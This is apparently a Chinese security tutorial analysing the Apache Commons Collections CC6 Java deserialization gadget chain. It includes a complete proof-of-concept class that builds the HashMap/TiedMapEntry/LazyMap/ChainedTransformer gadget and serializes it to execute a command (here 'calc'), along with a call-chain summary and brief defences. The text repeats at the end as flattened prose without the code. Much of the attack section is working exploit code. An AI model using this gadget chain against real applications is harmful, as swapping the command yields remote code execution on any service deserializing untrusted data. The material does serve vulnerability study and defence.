Java反序列化之cc6
字数 1375 2025-09-01 11:26:11

Java反序列化漏洞利用:CC6链分析

一、CC6链概述

CC6(Commons Collections 6)是Apache Commons Collections库中的一个反序列化利用链,相比CC1链有以下特点:

  • 不受JDK版本限制
  • 利用点与CC1相同(InvokerTransformer.transform()方法执行反射)
  • 调用链前半部分与URLDNS链类似,后半部分与CC1类似

二、环境准备

  • JDK版本:不受限制(与CC1不同)
  • 依赖库:Apache Commons Collections
  • 恶意代码执行点:InvokerTransformer.transform()方法

三、核心组件分析

1. InvokerTransformer

InvokerTransformer是执行反射的关键类,其transform()方法实现了完整的反射调用:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (...) {
        // 异常处理
    }
}

利用方式示例:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec", 
    new Class[]{String.class}, 
    new Object[]{"calc"}
);
invokerTransformer.transform(runtime);
// 等同于 Runtime.getRuntime().exec("calc.exe")

2. ConstantTransformer

ConstantTransformertransform()方法直接返回构造函数传入的对象:

public Object transform(Object input) {
    return iConstant;
}

用途:由于Runtime类未实现Serializable接口,不能直接序列化,但可以通过Runtime.class(Class对象实现了Serializable)来间接引用。

3. ChainedTransformer

ChainedTransformer将多个Transformer串联执行:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

利用链构造示例:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

等效反射代码:

Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
Object runtimeInstance = getRuntimeMethod.invoke(null);
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtimeInstance, "notepad.exe");

四、调用链构造

1. 触发transform方法

通过LazyMap.get()方法触发transform调用:

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = factory.transform(key);  // 关键点
        super.map.put(key, value);
        return value;
    }
    return super.map.get(key);
}

构造方式:

Map decorateMap = LazyMap.decorate(hashmap, chainedTransformer);
decorateMap.get(null);

2. 触发get方法

通过TiedMapEntry类的getValue()方法触发get()

public Object getValue() {
    return map.get(key);  // 调用LazyMap.get()
}

hashCode()方法也调用了getValue()

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

3. 触发hashCode方法

通过HashMap.readObject()触发hashCode()

  • HashMap.readObject()hash()hashCode()

五、完整利用链构造

为避免序列化时立即执行命令,需要分步构造:

public class Poc {
    public static void main(String[] args) throws Exception {
        // 1. 构造恶意Transformer数组
        Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        // 2. 创建ChainedTransformer但不立即使用
        ChainedTransformer ct = new ChainedTransformer(transformers);
        
        // 3. 使用无害的Transformer初始化LazyMap
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
        
        // 4. 创建TiedMapEntry并放入HashMap
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "3");
        
        // 5. 移除可能触发执行的键
        lazymap.remove("2");
        
        // 6. 通过反射替换为恶意Transformer
        Field factoryField = LazyMap.class.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, ct);
        
        // 7. 序列化和反序列化触发漏洞
        serial(hashMap);
        unserial();
    }
    
    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        out.writeObject(obj);
    }
    
    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
        in.readObject();
    }
}

六、调用链总结

完整调用链如下:

  1. HashMap.readObject()
    hash()
    TiedMapEntry.hashCode()
    TiedMapEntry.getValue()
    LazyMap.get()
    ChainedTransformer.transform()
    InvokerTransformer.transform()(执行恶意代码)

七、防御措施

  1. 升级Apache Commons Collections到最新安全版本
  2. 使用Java反序列化过滤器(JEP 290)
  3. 避免反序列化不可信数据
  4. 使用白名单机制验证反序列化的类

八、关键点总结

  1. 不受JDK版本限制:相比CC1更具通用性
  2. 延迟触发机制:通过反射修改字段避免序列化时立即执行
  3. 链式调用:结合URLDNS和CC1的调用链特点
  4. Transformer利用:通过ChainedTransformer串联多个反射操作
  5. 入口点:HashMap的反序列化作为起始点
Java反序列化漏洞利用:CC6链分析 一、CC6链概述 CC6(Commons Collections 6)是Apache Commons Collections库中的一个反序列化利用链,相比CC1链有以下特点: 不受JDK版本限制 利用点与CC1相同( InvokerTransformer.transform() 方法执行反射) 调用链前半部分与URLDNS链类似,后半部分与CC1类似 二、环境准备 JDK版本:不受限制(与CC1不同) 依赖库:Apache Commons Collections 恶意代码执行点: InvokerTransformer.transform() 方法 三、核心组件分析 1. InvokerTransformer InvokerTransformer 是执行反射的关键类,其 transform() 方法实现了完整的反射调用: 利用方式示例: 2. ConstantTransformer ConstantTransformer 的 transform() 方法直接返回构造函数传入的对象: 用途:由于 Runtime 类未实现 Serializable 接口,不能直接序列化,但可以通过 Runtime.class (Class对象实现了 Serializable )来间接引用。 3. ChainedTransformer ChainedTransformer 将多个 Transformer 串联执行: 利用链构造示例: 等效反射代码: 四、调用链构造 1. 触发transform方法 通过 LazyMap.get() 方法触发 transform 调用: 构造方式: 2. 触发get方法 通过 TiedMapEntry 类的 getValue() 方法触发 get() : hashCode() 方法也调用了 getValue() : 3. 触发hashCode方法 通过 HashMap.readObject() 触发 hashCode() : HashMap.readObject() → hash() → hashCode() 五、完整利用链构造 为避免序列化时立即执行命令,需要分步构造: 六、调用链总结 完整调用链如下: HashMap.readObject() → hash() → TiedMapEntry.hashCode() → TiedMapEntry.getValue() → LazyMap.get() → ChainedTransformer.transform() → InvokerTransformer.transform() (执行恶意代码) 七、防御措施 升级Apache Commons Collections到最新安全版本 使用Java反序列化过滤器(JEP 290) 避免反序列化不可信数据 使用白名单机制验证反序列化的类 八、关键点总结 不受JDK版本限制 :相比CC1更具通用性 延迟触发机制 :通过反射修改字段避免序列化时立即执行 链式调用 :结合URLDNS和CC1的调用链特点 Transformer利用 :通过ChainedTransformer串联多个反射操作 入口点 :HashMap的反序列化作为起始点